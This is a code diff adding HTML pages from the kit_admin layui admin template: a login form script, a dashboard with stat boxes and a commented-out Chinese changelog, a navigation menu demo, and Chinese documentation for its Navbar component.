form.on('submit(login_hash)', function(data) {
|
||||
var username = $('input[name="loginName"]').val();
|
||||
var password = $('input[name="password"]').val();
|
||||
$.ajax({
|
||||
url:'/admin/login',
|
||||
type:'post',
|
||||
dataType:'json',
|
||||
data:{
|
||||
username:username,
|
||||
password:password
|
||||
},
|
||||
success:function(data){
|
||||
if(data.error == 0){
|
||||
layui.msg(data.message);
|
||||
window.location="index.html";
|
||||
}else{
|
||||
layui.msg(data.message);
|
||||
}
|
||||
|
||||
}
|
||||
})
|
||||
// layer.msg(JSON.stringify(data.field));
|
||||
// setTimeout(function(){
|
||||
// location.href='/';
|
||||
// },1000);
|
||||
// return false;
|
||||
});
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,290 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="zh-cn">
|
||||
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<meta http-equiv="X-UA-Compatible" content="ie=edge">
|
||||
<title>Document</title>
|
||||
<link rel="stylesheet" href="./plugins/layui/css/layui.css" media="all">
|
||||
<link rel="stylesheet" href="./plugins/font-awesome/css/font-awesome.min.css" media="all">
|
||||
<style>
|
||||
.info-box {
|
||||
height: 85px;
|
||||
background-color: white;
|
||||
background-color: #ecf0f5;
|
||||
}
|
||||
|
||||
.info-box .info-box-icon {
|
||||
border-top-left-radius: 2px;
|
||||
border-top-right-radius: 0;
|
||||
border-bottom-right-radius: 0;
|
||||
border-bottom-left-radius: 2px;
|
||||
display: block;
|
||||
float: left;
|
||||
height: 85px;
|
||||
width: 85px;
|
||||
text-align: center;
|
||||
font-size: 45px;
|
||||
line-height: 85px;
|
||||
background: rgba(0, 0, 0, 0.2);
|
||||
}
|
||||
|
||||
.info-box .info-box-content {
|
||||
padding: 5px 10px;
|
||||
margin-left: 85px;
|
||||
}
|
||||
|
||||
.info-box .info-box-content .info-box-text {
|
||||
display: block;
|
||||
font-size: 14px;
|
||||
white-space: nowrap;
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
text-transform: uppercase;
|
||||
}
|
||||
|
||||
.info-box .info-box-content .info-box-number {
|
||||
display: block;
|
||||
font-weight: bold;
|
||||
font-size: 18px;
|
||||
}
|
||||
|
||||
.major {
|
||||
font-weight: 10px;
|
||||
color: #01AAED;
|
||||
}
|
||||
|
||||
.main {
|
||||
margin-top: 25px;
|
||||
}
|
||||
|
||||
.main .layui-row {
|
||||
margin: 10px 0;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<div class="layui-fluid main">
|
||||
<div class="layui-row layui-col-space15">
|
||||
<div class="layui-col-md3">
|
||||
<div class="info-box">
|
||||
<span class="info-box-icon" style="background-color:#00c0ef !important;color:white;"><i class="fa fa-ambulance" aria-hidden="true"></i></span>
|
||||
<div class="info-box-content">
|
||||
<span class="info-box-text">CPU Traffic</span>
|
||||
<span class="info-box-number">90%</span>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-col-md3">
|
||||
<div class="info-box">
|
||||
<span class="info-box-icon" style="background-color:#dd4b39 !important;color:white;"><i class="fa fa-google-plus" aria-hidden="true"></i></span>
|
||||
<div class="info-box-content">
|
||||
<span class="info-box-text">Likes</span>
|
||||
<span class="info-box-number">25,412</span>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-col-md3">
|
||||
<div class="info-box">
|
||||
<span class="info-box-icon" style="background-color:#00a65a !important;color:white;"><i class="fa fa-shopping-bag" aria-hidden="true"></i></span>
|
||||
<div class="info-box-content">
|
||||
<span class="info-box-text">Sales</span>
|
||||
<span class="info-box-number">654</span>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-col-md3">
|
||||
<div class="info-box">
|
||||
<span class="info-box-icon" style="background-color:#f39c12 !important;color:white;"><i class="fa fa-users" aria-hidden="true"></i></span>
|
||||
<div class="info-box-content">
|
||||
<span class="info-box-text">New Members</span>
|
||||
<span class="info-box-number">85</span>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!--<div class="layui-row">-->
|
||||
<!--<div class="layui-col-md12">-->
|
||||
<!--<ul class="layui-timeline">-->
|
||||
<!--<li class="layui-timeline-item">-->
|
||||
<!--<i class="layui-icon layui-timeline-axis"></i>-->
|
||||
<!--<div class="layui-timeline-content layui-text">-->
|
||||
<!--<h3 class="layui-timeline-title">置顶的说明文档</h3>-->
|
||||
<!--<ul>-->
|
||||
<!--<li>交流群:-->
|
||||
<!--<a target="_blank" href="//shang.qq.com/wpa/qunwpa?idkey=7d46b4a74805131378febabe99963fdd3e767544a34f9b92a9db0737ebf130a1"><img border="0" src="//pub.idqqimg.com/wpa/images/group.png" alt="BeginnerAdmin" title="BeginnerAdmin"></a>-->
|
||||
<!--</li>-->
|
||||
<!--<li>点击进入群哦，如果实在加不了还有群号啊[248049395]-->
|
||||
<!--</li>-->
|
||||
<!--<li>下载地址：-->
|
||||
<!--<a href="http://git.oschina.net/besteasyteam/kit_admin" target="_blank">http://git.oschina.net/besteasyteam/kit_admin</a>(大家先在这里下载吧.)-->
|
||||
<!--</li>-->
|
||||
<!--<li>大家在用的过程中有什么问题的话可以在群里问啊，别的先不写了...</li>-->
|
||||
<!--<li><a href="index.1.html" target="_blank">点击查看一级菜单的加载</a></li>-->
|
||||
<!--</ul>-->
|
||||
<!--</div>-->
|
||||
<!--</li>-->
|
||||
<!--<li class="layui-timeline-item">-->
|
||||
<!--<i class="layui-icon layui-timeline-axis"></i>-->
|
||||
<!--<div class="layui-timeline-content layui-text">-->
|
||||
<!--<h3 class="layui-timeline-title">9月8日(v1.0.5)</h3>-->
|
||||
<!--<p>-->
|
||||
<!--<h3>#tab</h3>-->
|
||||
<!--<ul>-->
|
||||
<!--<li>添加tab.close(id)方法</li>-->
|
||||
<!--<li>添加tab.getId()方法</li>-->
|
||||
<!--</ul>-->
|
||||
<!--<h3>#onelevel</h3>-->
|
||||
<!--<ul>-->
|
||||
<!--<li>添加renderAfter(elem)回调函数 所属options参数</li>-->
|
||||
<!--<li>-->
|
||||
<!--<pre class="layui-code">-->
|
||||
<!--onelevel.set{-->
|
||||
<!--renderAfter: function(elem) {-->
|
||||
<!--//elem 当前容器-->
|
||||
<!--elem.find('li').eq(0).click(); //模拟点击第一个-->
|
||||
<!--}-->
|
||||
<!--}</pre>-->
|
||||
<!--</li>-->
|
||||
<!--</ul>-->
|
||||
<!--</p>-->
|
||||
<!--</div>-->
|
||||
<!--</li>-->
|
||||
<!--<li class="layui-timeline-item">-->
|
||||
<!--<i class="layui-icon layui-timeline-axis"></i>-->
|
||||
<!--<div class="layui-timeline-content layui-text">-->
|
||||
<!--<h3 class="layui-timeline-title">9月1日(v1.0.3)</h3>-->
|
||||
<!--<p>-->
|
||||
<!--<h3>#添加两个主题(欢迎你们去配很好看的色彩，反馈给我，然后我分享给大家/xyx)</h3>-->
|
||||
<!--<ul>-->
|
||||
<!--<li><a href="index.2.html" target="_blank">点击我(灰色)</a></li>-->
|
||||
<!--<li><a href="index.3.html" target="_blank">点击我(蓝色)</a></li>-->
|
||||
<!--<li><a href="page.html" target="_blank">模板的另一种加载方式(page)</a></li>-->
|
||||
<!--<li>更新到 layui 2.1.1 <a href="http://www.layui.com/doc/base/changelog.html" target="_blank">#更新文档</a></li>-->
|
||||
<!--</ul>-->
|
||||
<!--</p>-->
|
||||
<!--</div>-->
|
||||
<!--</li>-->
|
||||
<!--<li class="layui-timeline-item">-->
|
||||
<!--<i class="layui-icon layui-timeline-axis"></i>-->
|
||||
<!--<div class="layui-timeline-content layui-text">-->
|
||||
<!--<h3 class="layui-timeline-title">8月31日(v1.0.2)</h3>-->
|
||||
<!--<p>-->
|
||||
<!--<h3>#添加onelevel组件（加载头部菜单）</h3>-->
|
||||
<!--<ul>-->
|
||||
<!--<li>详见<a href="onelevel.html">说明文档</a></li>-->
|
||||
<!--</ul>-->
|
||||
<!--<h3>#Tab组件</h3>-->
|
||||
<!--<ul>-->
|
||||
<!--<li>添加选项卡加载进度条</li>-->
|
||||
<!--</ul>-->
|
||||
<!--<h3>#其他更新</h3>-->
|
||||
<!--<ul>-->
|
||||
<!--<li>优化顶部菜单的样式</li>-->
|
||||
<!--</ul>-->
|
||||
<!--</p>-->
|
||||
<!--</div>-->
|
||||
<!--</li>-->
|
||||
<!--<li class="layui-timeline-item">-->
|
||||
<!--<i class="layui-icon layui-timeline-axis"></i>-->
|
||||
<!--<div class="layui-timeline-content layui-text">-->
|
||||
<!--<h3 class="layui-timeline-title">8月30日(v1.0.1)</h3>-->
|
||||
<!--<p>-->
|
||||
<!--<h3>#Navbar组件</h3>-->
|
||||
<!--<ul>-->
|
||||
<!--<li>添加远程加载和本地加载的方式（设置方式详见<a href="navbar.html">说明文档</a>）</li>-->
|
||||
<!--</ul>-->
|
||||
<!--<h3>#Tab组件</h3>-->
|
||||
<!--<ul>-->
|
||||
<!--<li>添加 mainUrl 属性 默认：main.html</li>-->
|
||||
<!--</ul>-->
|
||||
<!--</p>-->
|
||||
<!--</div>-->
|
||||
<!--</li>-->
|
||||
<!--<li class="layui-timeline-item">-->
|
||||
<!--<i class="layui-icon layui-timeline-axis"></i>-->
|
||||
<!--<div class="layui-timeline-content layui-text">-->
|
||||
<!--<h3 class="layui-timeline-title">8月29日</h3>-->
|
||||
<!--<p>-->
|
||||
<!--<ul>-->
|
||||
<!--<li>更新<a href="navbar.html">navbar组件</a>和<a href="tab.html">tab组件</a>的说明文档</li>-->
|
||||
<!--<li>新增左侧菜单可缩进.</li>-->
|
||||
<!--<li>调整头部导航栏的高度，让她看起来更协调.</li>-->
|
||||
<!--</ul>-->
|
||||
<!--</p>-->
|
||||
<!--</div>-->
|
||||
<!--</li>-->
|
||||
<!--<li class="layui-timeline-item">-->
|
||||
<!--<i class="layui-icon layui-timeline-axis"></i>-->
|
||||
<!--<div class="layui-timeline-content layui-text">-->
|
||||
<!--<h3 class="layui-timeline-title">8月25日</h3>-->
|
||||
<!--<p>-->
|
||||
<!--<ul>-->
|
||||
<!--<li>-->
|
||||
<!--<p>添加message组件</p>-->
|
||||
<!--<p>Example:</p>-->
|
||||
<!--<pre class="layui-code">-->
|
||||
<!--var message = layui.message;-->
|
||||
<!--//示例，监听某点击事件后触发-->
|
||||
<!--$(selector).on('click',function(){-->
|
||||
<!--message.show({-->
|
||||
<!--skin:'cyan',//皮肤 支持:red,orange,cyan,blue,black,default-->
|
||||
<!--msg:'提示信息'//提示信息-->
|
||||
<!--});-->
|
||||
<!--});</pre><input type="button" class="layui-btn" value="点击我测试message组件" id="test" /></li>-->
|
||||
<!--<li>tab组件添加两个属性：<span class="major">closeBefore</span>[关闭选项卡之前发生]、<span class="major">onSwitch</span>[选项卡切换时发生](具体请查看文档[好像文档还没加进去~~~])</li>-->
|
||||
<!--</ul>-->
|
||||
<!--</p>-->
|
||||
<!--</div>-->
|
||||
<!--</li>-->
|
||||
<!--<li class="layui-timeline-item">-->
|
||||
<!--<i class="layui-icon layui-timeline-axis"></i>-->
|
||||
<!--<div class="layui-timeline-content layui-text">-->
|
||||
<!--<h3 class="layui-timeline-title">8月24日</h3>-->
|
||||
<!--<p>-->
|
||||
<!--<h3>BeginnerAdmin 改名为kit_admin</h3>-->
|
||||
<!--<ul>-->
|
||||
<!--<li>项目重构，基于layui2.0</li>-->
|
||||
<!--<li>添加navbar模块-->
|
||||
<!--<a href="navbar.html">navbar文档</a>-->
|
||||
<!--</li>-->
|
||||
<!--<li>添加tab模块-->
|
||||
<!--<a href="tab.html">tab文档</a>-->
|
||||
<!--</li>-->
|
||||
<!--<li>还有不想写了....</li>-->
|
||||
<!--</ul>-->
|
||||
<!--</p>-->
|
||||
<!--</div>-->
|
||||
<!--</li>-->
|
||||
<!--<li class="layui-timeline-item">-->
|
||||
<!--<i class="layui-icon layui-timeline-axis"></i>-->
|
||||
<!--<div class="layui-timeline-content layui-text">-->
|
||||
<!--<div class="layui-timeline-title">2017年</div>-->
|
||||
<!--</div>-->
|
||||
<!--</li>-->
|
||||
<!--<li class="layui-timeline-item">-->
|
||||
<!--<i class="layui-icon layui-timeline-axis"></i>-->
|
||||
<!--<div class="layui-timeline-content layui-text">-->
|
||||
<!--<div class="layui-timeline-title">更新日志</div>-->
|
||||
<!--</div>-->
|
||||
<!--</li>-->
|
||||
<!--</ul>-->
|
||||
<!--</div>-->
|
||||
</div>
|
||||
</div>
|
||||
<script src="./plugins/layui/layui.js"></script>
|
||||
<script>
|
||||
layui.use('jquery', function() {
|
||||
var $ = layui.jquery;
|
||||
$('#test').on('click', function() {
|
||||
parent.message.show({
|
||||
skin: 'cyan'
|
||||
});
|
||||
});
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,218 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<title>layui</title>
|
||||
<meta name="renderer" content="webkit">
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
|
||||
<link rel="stylesheet" href="./plugins/layui/css/layui.css" media="all">
|
||||
<!-- 注意：如果你直接复制所有代码到本地，上述css路径需要改成你本地的 -->
|
||||
</head>
|
||||
|
||||
<body>
|
||||
|
||||
<fieldset class="layui-elem-field layui-field-title" style="margin-top: 30px;">
|
||||
<legend>水平导航菜单</legend>
|
||||
</fieldset>
|
||||
|
||||
<ul class="layui-nav">
|
||||
<li class="layui-nav-item"><a href="">最新活动</a></li>
|
||||
<li class="layui-nav-item layui-this">
|
||||
<a href="javascript:;">产品</a>
|
||||
<dl class="layui-nav-child">
|
||||
<dd><a href="">选项1</a></dd>
|
||||
<dd><a href="">选项2</a></dd>
|
||||
<dd><a href="">选项3</a></dd>
|
||||
</dl>
|
||||
</li>
|
||||
<li class="layui-nav-item"><a href="">大数据</a></li>
|
||||
<li class="layui-nav-item">
|
||||
<a href="javascript:;">解决方案</a>
|
||||
<dl class="layui-nav-child">
|
||||
<dd><a href="">移动模块</a></dd>
|
||||
<dd><a href="">后台模版</a></dd>
|
||||
<dd class="layui-this"><a href="">选中项</a></dd>
|
||||
<dd><a href="">电商平台</a></dd>
|
||||
</dl>
|
||||
</li>
|
||||
<li class="layui-nav-item"><a href="">社区</a></li>
|
||||
</ul>
|
||||
<fieldset class="layui-elem-field layui-field-title" style="margin-top: 30px;">
|
||||
<legend>导航带徽章和图片</legend>
|
||||
</fieldset>
|
||||
|
||||
<ul class="layui-nav">
|
||||
<li class="layui-nav-item">
|
||||
<a href="">控制台<span class="layui-badge">9</span></a>
|
||||
</li>
|
||||
<li class="layui-nav-item">
|
||||
<a href="">个人中心<span class="layui-badge-dot"></span></a>
|
||||
</li>
|
||||
<li class="layui-nav-item">
|
||||
<a href="javascript:;"><img src="http://t.cn/RCzsdCq" class="layui-nav-img">我</a>
|
||||
<dl class="layui-nav-child">
|
||||
<dd><a href="javascript:;">修改信息</a></dd>
|
||||
<dd><a href="javascript:;">安全管理</a></dd>
|
||||
<dd><a href="javascript:;">退了</a></dd>
|
||||
</dl>
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
<fieldset class="layui-elem-field layui-field-title" style="margin-top: 30px;">
|
||||
<legend>更多导航主题</legend>
|
||||
</fieldset>
|
||||
|
||||
<ul class="layui-nav layui-bg-cyan">
|
||||
<li class="layui-nav-item"><a href="">藏青导航</a></li>
|
||||
<li class="layui-nav-item layui-this"><a href="">产品</a></li>
|
||||
<li class="layui-nav-item"><a href="">大数据</a></li>
|
||||
<li class="layui-nav-item">
|
||||
<a href="javascript:;">解决方案</a>
|
||||
<dl class="layui-nav-child">
|
||||
<dd><a href="">移动模块</a></dd>
|
||||
<dd><a href="">后台模版</a></dd>
|
||||
<dd><a href="">电商平台</a></dd>
|
||||
</dl>
|
||||
</li>
|
||||
<li class="layui-nav-item"><a href="">社区</a></li>
|
||||
</ul>
|
||||
<br>
|
||||
<ul class="layui-nav layui-bg-green">
|
||||
<li class="layui-nav-item"><a href="">墨绿导航</a></li>
|
||||
<li class="layui-nav-item layui-this"><a href="">产品</a></li>
|
||||
<li class="layui-nav-item"><a href="">大数据</a></li>
|
||||
<li class="layui-nav-item">
|
||||
<a href="javascript:;">解决方案</a>
|
||||
<dl class="layui-nav-child">
|
||||
<dd><a href="">移动模块</a></dd>
|
||||
<dd><a href="">后台模版</a></dd>
|
||||
<dd><a href="">电商平台</a></dd>
|
||||
</dl>
|
||||
</li>
|
||||
<li class="layui-nav-item"><a href="">社区</a></li>
|
||||
</ul>
|
||||
<br>
|
||||
<ul class="layui-nav layui-bg-blue">
|
||||
<li class="layui-nav-item"><a href="">艳蓝导航</a></li>
|
||||
<li class="layui-nav-item layui-this"><a href="">产品</a></li>
|
||||
<li class="layui-nav-item"><a href="">大数据</a></li>
|
||||
<li class="layui-nav-item">
|
||||
<a href="javascript:;">解决方案</a>
|
||||
<dl class="layui-nav-child">
|
||||
<dd><a href="">移动模块</a></dd>
|
||||
<dd><a href="">后台模版</a></dd>
|
||||
<dd><a href="">电商平台</a></dd>
|
||||
</dl>
|
||||
</li>
|
||||
<li class="layui-nav-item"><a href="">社区</a></li>
|
||||
</ul>
|
||||
|
||||
<fieldset class="layui-elem-field layui-field-title" style="margin-top: 50px;">
|
||||
<legend>垂直导航菜单</legend>
|
||||
</fieldset>
|
||||
|
||||
<ul class="layui-nav layui-nav-tree layui-inline" lay-filter="demo" style="margin-right: 10px;">
|
||||
<li class="layui-nav-item layui-nav-itemed">
|
||||
<a href="javascript:;">默认展开</a>
|
||||
<dl class="layui-nav-child">
|
||||
<dd><a href="javascript:;">选项一</a></dd>
|
||||
<dd><a href="javascript:;">选项二</a></dd>
|
||||
<dd><a href="javascript:;">选项三</a></dd>
|
||||
<dd><a href="">跳转项</a></dd>
|
||||
</dl>
|
||||
</li>
|
||||
<li class="layui-nav-item">
|
||||
<a href="javascript:;">解决方案</a>
|
||||
<dl class="layui-nav-child">
|
||||
<dd><a href="">移动模块</a></dd>
|
||||
<dd><a href="">后台模版</a></dd>
|
||||
<dd><a href="">电商平台</a></dd>
|
||||
</dl>
|
||||
</li>
|
||||
<li class="layui-nav-item"><a href="">云市场</a></li>
|
||||
<li class="layui-nav-item"><a href="">社区</a></li>
|
||||
</ul>
|
||||
<ul class="layui-nav layui-nav-tree layui-bg-cyan layui-inline" lay-filter="demo">
|
||||
<li class="layui-nav-item layui-nav-itemed">
|
||||
<a href="javascript:;">默认展开</a>
|
||||
<dl class="layui-nav-child">
|
||||
<dd><a href="javascript:;">选项一</a></dd>
|
||||
<dd><a href="javascript:;">选项二</a></dd>
|
||||
<dd><a href="javascript:;">选项三</a></dd>
|
||||
<dd><a href="">跳转项</a></dd>
|
||||
</dl>
|
||||
</li>
|
||||
<li class="layui-nav-item">
|
||||
<a href="javascript:;">解决方案</a>
|
||||
<dl class="layui-nav-child">
|
||||
<dd><a href="">移动模块</a></dd>
|
||||
<dd><a href="">后台模版</a></dd>
|
||||
<dd><a href="">电商平台</a></dd>
|
||||
</dl>
|
||||
</li>
|
||||
<li class="layui-nav-item"><a href="">云市场</a></li>
|
||||
<li class="layui-nav-item"><a href="">社区</a></li>
|
||||
</ul>
|
||||
|
||||
<fieldset class="layui-elem-field layui-field-title" style="margin-top: 50px;">
|
||||
<legend>侧边固定导航菜单</legend>
|
||||
</fieldset>
|
||||
|
||||
← 囖，就左边那家伙！ 带图标神马的那是必须可以的。另外你可能还需要下拉菜单，这个将在下版本推出！
|
||||
|
||||
<fieldset class="layui-elem-field layui-field-title" style="margin-top: 50px;">
|
||||
<legend>默认面包屑</legend>
|
||||
</fieldset>
|
||||
|
||||
<span class="layui-breadcrumb">
|
||||
<a href="/">首页</a>
|
||||
<a href="/demo/">演示</a>
|
||||
<a><cite>导航元素</cite></a>
|
||||
</span>
|
||||
|
||||
<fieldset class="layui-elem-field layui-field-title" style="margin-top: 50px;">
|
||||
<legend>自定义分隔符的面包屑</legend>
|
||||
</fieldset>
|
||||
|
||||
<span class="layui-breadcrumb" lay-separator="—">
|
||||
<a href="">首页</a>
|
||||
<a href="">国际新闻</a>
|
||||
<a href="">亚太地区</a>
|
||||
<a><cite>正文</cite></a>
|
||||
</span>
|
||||
|
||||
<fieldset class="layui-elem-field layui-field-title" style="margin-top: 50px;">
|
||||
<legend>还可以用于门户频道的面包屑</legend>
|
||||
</fieldset>
|
||||
|
||||
<span class="layui-breadcrumb" lay-separator="|">
|
||||
<a href="">娱乐</a>
|
||||
<a href="">八卦</a>
|
||||
<a href="">体育</a>
|
||||
<a href="">搞笑</a>
|
||||
<a href="">视频</a>
|
||||
<a href="">游戏</a>
|
||||
<a href="">综艺</a>
|
||||
</span>
|
||||
|
||||
<p class="layui-elem-quote">其实就是自定义了个“|”的分隔符，然后最后一项也可以点。</p>
|
||||
|
||||
<script src="./plugins/layui/layui.js"></script>
|
||||
<!-- 注意：如果你直接复制所有代码到本地，上述js路径需要改成你本地的 -->
|
||||
<script>
|
||||
layui.use('element', function() {
|
||||
var element = layui.element; //导航的hover效果、二级菜单等功能，需要依赖element模块
|
||||
|
||||
//监听导航点击
|
||||
element.on('nav(demo)', function(elem) {
|
||||
//console.log(elem)
|
||||
layer.msg(elem.text());
|
||||
});
|
||||
});
|
||||
</script>
|
||||
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,256 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<meta http-equiv="X-UA-Compatible" content="ie=edge">
|
||||
<title>Navbar组件</title>
|
||||
<link rel="stylesheet" href="./plugins/layui/css/layui.css" media="all">
|
||||
<link rel="stylesheet" href="./build/css/doc.css" media="all">
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<div class="kit-doc">
|
||||
<blockquote class="layui-elem-quote">Navbar组件是基于<a href="http://www.layui.com/doc/element/nav.html" target="_blank">layui导航菜单</a> 封装的组件，配合
|
||||
<a href="tab.html">tab组件</a>能完成多开页面的操作</blockquote>
|
||||
<div class="kit-doc-title">
|
||||
<fieldset>
|
||||
<legend><a name="blockquote">设置绑定方式</a></legend>
|
||||
</fieldset>
|
||||
</div>
|
||||
<p>提供两种设置方式(设置data属性 和 kit-target 属性),以下两种方式都能正确解析[详细请参考index.html]</p>
|
||||
<table class="layui-table">
|
||||
<colgroup>
|
||||
<col width="100">
|
||||
<col>
|
||||
</colgroup>
|
||||
<tbody>
|
||||
<tr>
|
||||
<td>方式一</td>
|
||||
<td>
|
||||
<pre class="layui-code">
|
||||
//data-url //跳转地址
|
||||
//data-icon //图标，支持layui图片和fa图标
|
||||
//data-title //标题
|
||||
//data-id //唯一id
|
||||
Example:
|
||||
<pre class="layui-code">
|
||||
data-url="form.html" data-icon="fa-user" data-title="表单" kit-target data-id='2' kit-target</pre></pre>
|
||||
</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>方式二</td>
|
||||
<td>
|
||||
<pre class="layui-code">
|
||||
kit-target data-options="{url:'test.html',icon:'fa-user',title:'表格',id:'1'}"</pre>
|
||||
</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
<div class="kit-doc-title">
|
||||
<fieldset>
|
||||
<legend><a name="blockquote">渲染方式</a></legend>
|
||||
</fieldset>
|
||||
</div>
|
||||
<p> 该组件提供了三种渲染方式 </p>
|
||||
<table class="layui-table">
|
||||
<colgroup>
|
||||
<col width="180">
|
||||
<col width="230">
|
||||
<col width="100">
|
||||
<col>
|
||||
</colgroup>
|
||||
<thead>
|
||||
<tr>
|
||||
<th>渲染方式</th>
|
||||
<th>方法</th>
|
||||
<th>备注</th>
|
||||
<th>详细说明</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr>
|
||||
<td>服务端渲染后绑定</td>
|
||||
<td>调用navbar.bind()方法</td>
|
||||
<td>已实现</td>
|
||||
<td>此方法需在dom元素渲染完成后执行
|
||||
<p>Example:</p>
|
||||
<pre class="layui-code">
|
||||
//注：需在容器内添加属性 kit-navbar或指定容器,example:navbar.set({elem:'#container'});
|
||||
navbar.bind(function(data) {
|
||||
t.tabAdd(data);//这个方法为tab组件提供的方法
|
||||
});
|
||||
data的数据结构:
|
||||
data.icon;//图标，支持layui图标和fontawesome图标
|
||||
data.id;//id,唯一标识
|
||||
data.title;//标题
|
||||
data.url;//跳转地址</pre>
|
||||
</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>异步渲染方式(AJAX)</td>
|
||||
<td>通过设置url参数组件内部渲染</td>
|
||||
<td>已实现</td>
|
||||
<td>设置remote参数，调用render方法</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>本地数据渲染方式</td>
|
||||
<td>通过设置data参数组件内部渲染</td>
|
||||
<td>已实现</td>
|
||||
<td>设置data参数，调用render方法</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
<div class="kit-doc-title">
|
||||
<fieldset>
|
||||
<legend><a name="blockquote">可用的方法</a></legend>
|
||||
</fieldset>
|
||||
</div>
|
||||
<table class="layui-table">
|
||||
<colgroup>
|
||||
<col width="150">
|
||||
<col width="200">
|
||||
<col width="150">
|
||||
<col>
|
||||
</colgroup>
|
||||
<thead>
|
||||
<tr>
|
||||
<th>名称</th>
|
||||
<th>参数</th>
|
||||
<th>返回值</th>
|
||||
<th>描述</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr>
|
||||
<td>set(options)</td>
|
||||
<td><a href="#options">options</a>/object</td>
|
||||
<td>this/object</td>
|
||||
<td>配置一些全局参数,返回当前navbar对象，以便于链式调用
|
||||
<p>Example:</p>
|
||||
<pre class="layui-code">
|
||||
navbar.set({
|
||||
elem:'#navbarContainer',
|
||||
url:''
|
||||
});</pre>
|
||||
</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>bind(callback)</td>
|
||||
<td>callback/function(data)</td>
|
||||
<td>void</td>
|
||||
<td>绑定a标签的点击事件
|
||||
<p>Example:</p>
|
||||
<pre class="layui-code">
|
||||
navbar.bind(function(data) {
|
||||
t.tabAdd(data);//这个方法为tab组件提供的方法
|
||||
});</pre></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>render(callback)</td>
|
||||
<td>callback/function(data)</td>
|
||||
<td>void</td>
|
||||
<td>渲染navbar
|
||||
<p>Example:</p>
|
||||
<pre class="layui-code">
|
||||
navbar.render(function(data) {
|
||||
t.tabAdd(data);//这个方法为tab组件提供的方法
|
||||
});</pre></td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
<div class="kit-doc-title">
|
||||
<fieldset>
|
||||
<legend><a name="blockquote" id="options">options参数说明</a></legend>
|
||||
</fieldset>
|
||||
</div>
|
||||
<table class="layui-table">
|
||||
<colgroup>
|
||||
<col width="150">
|
||||
<col width="150">
|
||||
<col width="150">
|
||||
<col>
|
||||
</colgroup>
|
||||
<thead>
|
||||
<tr>
|
||||
<th>名称</th>
|
||||
<th>类型</th>
|
||||
<td>默认值</td>
|
||||
<th>描述</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr>
|
||||
<td>elem</td>
|
||||
<td>string</td>
|
||||
<td>undefined</td>
|
||||
<td>容器DOM，支持id选择器和类选择器<br/>(如果elem为undefined就必须在容器标签添加kit-navbar属性，否则会抛异常)</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>filter</td>
|
||||
<td>string</td>
|
||||
<td>kitNavbar</td>
|
||||
<td>过滤器名称</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>data</td>
|
||||
<td>object</td>
|
||||
<td>undefined</td>
|
||||
<td>本地数据源，有特定的数据结构，<a href="#data">点击我查看</a></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>remote</td>
|
||||
<td>object</td>
|
||||
<td> 详细看描述 url:undefined,type:'GET',jsonp:false</td>
|
||||
<td>
|
||||
<pre class="layui-code">
|
||||
navbar.set{
|
||||
remote:{
|
||||
url: 'xx/api', //接口地址
|
||||
type: 'POSST', //请求方式
|
||||
jsonp: false //跨域
|
||||
}
|
||||
}</pre>
|
||||
</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
<div class="kit-doc-title">
|
||||
<fieldset>
|
||||
<legend><a name="blockquote" id="data">Data数据结构(注：当前只支持两级菜单)</a></legend>
|
||||
</fieldset>
|
||||
</div>
|
||||
<blockquote class="layui-elem-quote">
|
||||
<pre class="layui-code">
|
||||
//图标支持<a href="http://www.layui.com/doc/element/icon.html" target="_blank">layui图标</a>和<a href="http://www.fontawesome.com.cn/faicons/" target="_blank">fontawesome字体图标</a>
|
||||
[{
|
||||
"id": "1",
|
||||
"title": "基本元素",
|
||||
"icon": "fa-cubes",
|
||||
"spread": true, //如果为true则展开 (v1.0.3可用)
|
||||
"children": [{
|
||||
"id": "7",
|
||||
"title": "表格",
|
||||
"icon": "",
|
||||
"url": "test.html"
|
||||
}, {
|
||||
"id": "8",
|
||||
"title": "表单",
|
||||
"icon": "",
|
||||
"url": "form.html"
|
||||
}]
|
||||
}, {
|
||||
"id": "5",
|
||||
"title": "这是一级导航",
|
||||
"icon": "fa-stop-circle",
|
||||
"url": "https://www.baidu.com",
|
||||
"spread": false
|
||||
}]</pre>
|
||||
</blockquote>
|
||||
